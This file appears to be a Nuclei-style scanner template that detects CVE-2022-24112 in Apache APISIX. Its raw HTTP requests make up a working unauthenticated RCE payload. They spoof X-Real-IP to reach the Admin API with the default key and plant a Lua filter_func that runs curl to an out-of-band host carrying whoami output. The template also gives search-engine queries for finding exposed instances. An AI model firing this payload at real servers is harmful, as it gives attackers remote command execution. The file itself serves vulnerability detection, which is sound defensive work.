id: CVE-2022-24112

info:
  name: Apache APISIX apisix/batch-requests RCE
  description: Apache APISIX apisix/batch-requests plugin allows overwriting the X-REAL-IP header to RCE;An attacker can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX's data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed.
  author: Mr-xn
  severity: critical
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24112
    - https://www.openwall.com/lists/oss-security/2022/02/11/3
    - https://twitter.com/sirifu4k1/status/1496043663704858625
    - https://apisix.apache.org/zh/docs/apisix/plugins/batch-requests
  metadata:
    shodan-query: title:"Apache APISIX Dashboard"
    fofa-query: title="Apache APISIX Dashboard"
    product: https://apisix.apache.org
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2022-24112
    cwe-id: CWE-290
  tags: cve,cve2022,apache,rce,apisix,oast

requests:
  - raw:
      - |
        POST /apisix/batch-requests HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9

        {
          "headers":{
            "X-Real-IP":"127.0.0.1",
            "Content-Type":"application/json"
          },
          "timeout":1500,
          "pipeline":[
            {
              "method":"PUT",
              "path":"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1",
              "body":"{\r\n \"name\": \"test\", \"method\": [\"GET\"],\r\n \"uri\": \"/api/{{randstr}}\",\r\n \"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}}\r\n,\r\n\"filter_func\": \"function(vars) os.execute('curl https://{{interactsh-url}}/`whoami`'); return true end\"}"
            }
          ]
        }
      - |
        GET /api/{{randstr}} HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9

    req-condition: true
    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - '"reason":"OK"'
          - '"status":200'
        condition: and

      - type: status
        status:
          - 200

      - type: word
        part: interactsh_protocol
        words:
          - 'http'

    extractors:
      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - 'GET \/([a-z-]+) HTTP'